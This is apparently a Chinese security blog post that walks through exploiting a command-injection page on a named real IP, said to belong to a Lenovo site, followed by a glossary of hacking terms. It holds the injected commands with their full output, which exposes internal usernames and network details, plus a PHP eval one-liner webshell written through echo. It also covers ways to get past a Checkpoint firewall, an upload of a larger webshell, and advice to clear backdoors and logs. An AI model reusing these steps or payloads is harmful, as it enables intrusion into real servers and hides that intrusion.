命令执行

1、 联想某站命令执行

开启Firefox,输入:http://106.37.234.18/a.php

Webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1

Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1

Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1

看到了吗,直接就报错了

看到这一行错误:Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1

此时,我们该会想到:可能是system() 函数执行的时候,因未传入参数而导致执行时出错。

看到这一行错误:Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1

此时,我们该会想到:可能是传入了a变量

开启Firefox,输入:http://106.37.234.18/a.php?a=

Webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1

Warning: system(): Cannot execute a blank command in C:\xampp\htdocs\a.php on line 1

看到了吗,以前那个错误:Notice: Undefined index: a in C:\xampp\htdocs\a.php on line 1

已经消失了

说明,确实是传入了a变量

那么,此时,我们为a变量赋一个值,提交至webserver

开启Firefox,输入:http://106.37.234.18/a.php?a=123

Webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1

意外,现在竟然只有一个错误了:没有定义的常量a

其实,这个错误是因为系统cmd找不到123这个系统命令,才报此错误的。

如果,我们提交如下这些系统命令,那么,肯定都会被系统cmd成功执行

提交:http://106.37.234.18/a.php?a=whoami

webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
vm-cmr2\vmcmr2 vm-cmr2\vmcmr2

提交:http://106.37.234.18/a.php?a=ver

webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
Microsoft Windows [Version 5.2.3790] Microsoft Windows [Version 5.2.3790]

提交:http://106.37.234.18/a.php?a=ipconfig

webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.122.254.27 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.122.254.254 Default Gateway . . . . . . . . . : 10.122.254.254

提交:http://106.37.234.18/a.php?a=net user

webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
User accounts for \\VM-CMR2 ------------------------------------------------------------------------------- Admin1 Admin2 Administrator ASPNET fanjing Guest guowei9 iadapter IUSR_VM- IWAM_VM- jianbo1 lipcadmin splunklogc SUPPORT_388945a0 tanghr1 tivoli_admin Viewer1 Viewer2 vmcmr2 wangpeng9 Windowsadm yaoye1 yeduo1 zhanggl1 zhangzhen1 The command completed successfully.

提交:http://106.37.234.18/a.php?a=netstat -ano

webserver返回如下信息:

Notice: Use of undefined constant a - assumed ‘a‘ in C:\xampp\htdocs\a.php on line 1
Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 1236 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 712 TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 2996 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 452 TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1030 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING 1388 TCP 0.0.0.0:1079 0.0.0.0:0 LISTENING 836 TCP 0.0.0.0:1556 0.0.0.0:0 LISTENING 1968 TCP 0.0.0.0:1920 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1320 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 3080 TCP 0.0.0.0:3661 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:6014 0.0.0.0:0 LISTENING 1452 TCP 0.0.0.0:6087 0.0.0.0:0 LISTENING 2896 TCP 0.0.0.0:13724 0.0.0.0:0 LISTENING 2128 TCP 0.0.0.0:13782 0.0.0.0:0 LISTENING 2916 TCP 0.0.0.0:25001 0.0.0.0:0 LISTENING 2000 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 TCP 10.122.254.27:80 43.225.238.8:2860 TIME_WAIT 0 TCP 10.122.254.27:80 43.225.238.8:2873 ESTABLISHED 2528 TCP 10.122.254.27:139 0.0.0.0:0 LISTENING 4 TCP 10.122.254.27:1029 10.122.254.27:1354 ESTABLISHED 1452 TCP 10.122.254.27:1045 10.96.25.15:1918 ESTABLISHED 1452 TCP 10.122.254.27:1079 10.99.10.216:33038 ESTABLISHED 836 TCP 10.122.254.27:1151 10.96.25.15:63358 ESTABLISHED 1452 TCP 10.122.254.27:1354 10.122.254.27:1029 ESTABLISHED 1452 TCP 10.122.254.27:1356 10.122.254.27:1920 ESTABLISHED 1452 TCP 10.122.254.27:1358 10.122.254.27:3661 ESTABLISHED 1452 TCP 10.122.254.27:1920 10.122.254.27:1356 ESTABLISHED 1452 TCP 10.122.254.27:3661 10.122.254.27:1358 ESTABLISHED 1452 TCP 10.122.254.27:4404 74.125.23.139:80 SYN_SENT 2668 TCP 127.0.0.1:1032 127.0.0.1:1033 ESTABLISHED 1968 TCP 127.0.0.1:1033 127.0.0.1:1032 ESTABLISHED 1968 TCP 127.0.0.1:1035 0.0.0.0:0 LISTENING 1968 TCP 127.0.0.1:1035 127.0.0.1:1038 ESTABLISHED 1968 TCP 127.0.0.1:1035 127.0.0.1:1044 ESTABLISHED 1968 TCP 127.0.0.1:1038 127.0.0.1:1035 ESTABLISHED 2128 TCP 127.0.0.1:1041 0.0.0.0:0 LISTENING 2916 TCP 127.0.0.1:1044 127.0.0.1:1035 ESTABLISHED 2916 TCP 127.0.0.1:1046 0.0.0.0:0 LISTENING 3388 TCP 127.0.0.1:1557 0.0.0.0:0 LISTENING 1968 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1236 UDP 0.0.0.0:161 *:* 1864 UDP 0.0.0.0:445 *:* 4 UDP 0.0.0.0:500 *:* 452 UDP 0.0.0.0:4500 *:* 452 UDP 0.0.0.0:6087 *:* 2896 UDP 0.0.0.0:52311 *:* 1112 UDP 10.122.254.27:123 *:* 800 UDP 10.122.254.27:137 *:* 4 UDP 10.122.254.27:138 *:* 4 UDP 127.0.0.1:123 *:* 800 UDP 127.0.0.1:1047 *:* 3104 UDP 127.0.0.1:4378 *:* 2668 UDP 127.0.0.1:4378 *:* 2668

如果,此时,我们的思维足够开阔一些,就该会想到,这里既然可以通过调用系统cmd来执行命令,那么,我们通过调用系统cmd来写php一句话木马的shell应该也不是什么问题吧。

显然是可以的,安全的思维能力就在于发散。

其实,通过echo命令,你就可以将php一句话木马写入到C:\xampp\htdocs目录下,与a.php文件目录同级

echo ^<?php @eval($_POST[x])?^> > C:\xampp\htdocs\x.php

写入后,我们就可以轻松获取到shell了

获取到shell后,审计站点源代码,才发现,这个a.php文件的源代码如下:

<?php echo system($_GET[a]);?>

确实跟预想的差不多

如图所示:

在命令执行的利用过程中,其实,也遇到了不少的问题,比如,通过echo命令将php一句话木马写入到web站点目录后,通过中国菜刀获取shell时并没有成功,分析原因后,发现,原来:中国菜刀对php一句话木马的连接是被checkpoint防火墙拦截了,到此,真就没办法了吗,不是的,这时,我们可以想办法绕过这个checkpoint防火墙的拦截,思路有如下:

1、 修改中国菜刀连接特征码

2、 更换其他的连接工具

3、 直接绕过checkpoint

显然,如果不是防火墙高手,根本不可能直接绕过checkpoint防火墙,修改中国菜刀连接特征码,也需要一定的数据包分析技术,如:wireshark抓包分析,最简单、直接的办法是:更换其他的连接工具,如:lanker3.0,t00ls论坛倾力打造工具,可以一试。

我们使用lanker3.0试试看

开启Firefox,访问lanker一句话PHP后门客户端3.0内部版

提示输入,php一句话木马连接的服务端地址与密码

输入地址:http://106.37.234.18/x.php 密码:x

如图所示:

选择服务器基本信息,提交

Webserver返回如下信息:

服务器系统:WINNT

服务器操作系统文字编码:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

服务器IP:106.37.234.18

Web服务端口端口:80

PHP运行方式:APACHE2HANDLER

PHP版本:5.4.27

本文件路径:

可见,我们的php一句话木马已经是连接成功了,不然这里也没法执行命令,对吧,其实,这里已经相当于获取到了该站点的shell了。

接下来,通过x.php小马,上传x.php大马,如图所示:

大马上传成功后,开启Firefox,输入才上传大马的服务端地址,就可以成功访问了:

此时,输入大马的密钥,成功获取webshell!

至此,我们命令执行的利用算彻底讲完了。

记得清理后门与日志!

今天有人问到一个问题,什么是shell

那么,我就来详细的为大家讲述一下shell及shell扩展的一些概念

顺便把安全行业的其他几个术语也一并讲了

Shell:简单地讲就是壳,可以执行命令的壳,如cmdshell,bashell,cshell,与核(内核)是一对相反的概念,大家自行百度。

Webshell:即web界面中,可以调用cmd/wscript/xp_cmdshell直接执行命令的壳,如小马,大马等直接可以执行命令的shell,即是webshell。

Cmdsehll:即cmd.exe程序运行所产生的可以执行其他系统命令的壳。

Bashell:Unix/Linux中,可以直接执行系统命令的壳。

Cshell:Unix/Linux中,可以直接执行系统命令的壳。

Poc:proof of concept,即概念证明,一段可以证实一个漏洞真实性的测试代码。

Exp:exploit,漏洞利用,一段可以利用一个漏洞的完整代码。

Playload:有效载荷,poc或者exp中,可执行的代码。

Shellcode:即用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

时间: 2024-08-04 06:05:27

命令执行的相关文章

ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞. 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的. 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商.我们先来分析一下它出现的原

我是如何从一个xss到某个浏览器的远程命令执行

0x01 前言:其实我是个小白平时就喜欢瞎搞,无意间碰到一个浏览器就想一探究竟,好了废话不多说开始!!! 0x02 可以看到我打开的新标签是怎么一个链接页面,既然是页面我是不可以XSS它呢? 于是我就打开了控制器输入XSS代码如下图: 输入payload发现能成功弹窗,我们来假设如果这个浏览器的本地域既然能弹XSS是不可以弹出其他的呢? 没错确实能弹出其他的,如图: 没错我弹出了他的CMD窗口,我们来ipconfig一下 可以看到成功弹出了,我们再来弹出它的计算器试试如图: 是不是很神奇就出来了

Metasploit溢出java RMI SERVER命令执行漏洞

利用java RMI SERVER命令执行漏洞,获得目标主机root权限. Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行. 一.利用nmap工具扫描目标主机 1.1使用nmap命令对目标主机进行扫描.单击桌面空白处,右键菜单选择"在终端中打开". 1.2在终端中输入命令"nmap –sV  192.168.1.3",对目标主机进行端口扫描,发现开放1099端口. 1.3在终端中输入命令"msfco

[转]Windows中的命令行提示符里的Start命令执行路径包含空格时的问题

转自:http://www.x2009.net/articles/windows-command-line-prompt-start-path-space.html 当使用Windows 中的命令行提示符执行这段指令时(测试Start命令执行带空格的路径的程序或文件问题),第一行Start会成功执行,跳出记事本程序,而第二行,会 Start跳出一个新的命令提示符,标题上写着路径,但是不会执行任何命令,第三行Start命令行提示符会提示C:\Program文件不存在,提示无 法执行. start

Linux命令执行顺序— ||和&amp;&amp;和; 比较

Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2. command1;command2: 命令顺序执行 //第一个命令执行不成功,第二个命令才执行 [[email

CentOS 7.3验证Linux命令执行的优先级

在Linux中,不同的目录下可能有相同的文件.虽然同名,两个文件的作用却完全不同. 执行同一命令,可能会显示完全不同的结果.如pwd本来显示当前工作目录,我们却可以定义别名使它输出时间. 要了解命令执行的先后顺序,首先我们要明白内部命令和外部命令的不同.使用type command可以查看命令类型. 我们可以看到以上四个命令的显示结果是完全不同的. 这里pwd是内部命令,cal是hash(缓存)命令,ls是别名,date则是外部命令. 这里要引进一个变量PATH,通过echo,我们可以查看变量P

命令执行的tip

先看一个例子:本地测试环境:php 5.4.45 + win <?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?> 应该如何去绕过执行? escapeshellcmd http://php.

bash的工作特性之命令执行返回值和命令展开的内容及练习示例

命令执行返回值: hell中,$? 就是上一个执行命令或的返回码, 例如   执行命令xxxxx echo $?  就输出了执行命令xxxxx的返回码,当然也可以把$?保存到一个变量中,用于后续的计算或者其他判断逻辑. 通过 $? 获取上一次命令执行的结果,0表示成功,非0表示失败. 命令展开: (1)创建/tmp目录下的:a_c, a_d , b_c, b_d (2)创建/tmp/mylinux目录下的:

ASP代码审计 -4.命令执行漏洞总结

命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip") response.write server.createobject("wscript.shell").exec("cmd.exe /c ping "&ip&"").stdout.readall %> 利用方式: http:

小米范工具系列之十:小米范SSH批量命令执行工具

小米范SSH批量命令执行工具的主要功能是自动登录多台机器,并执行指定的命令,比如批量抓去shadow.批量获取系统版本等. 界面如下图: 使用方法: 1.输入目标ip.用户名.密码.ssh端口(使用空格或tab键分隔),每行一个目标. 2.设置线程数(如果不设置默认为5). 3.选择输出,默认为右侧输出窗口,可以设置每个ip一个文件,比如抓去shadow,可以把每个ip的执行结果保存到一个txt文件放在当前目录下. 4.点击执行即可. 最新版本下载地址:http://pan.baidu.com/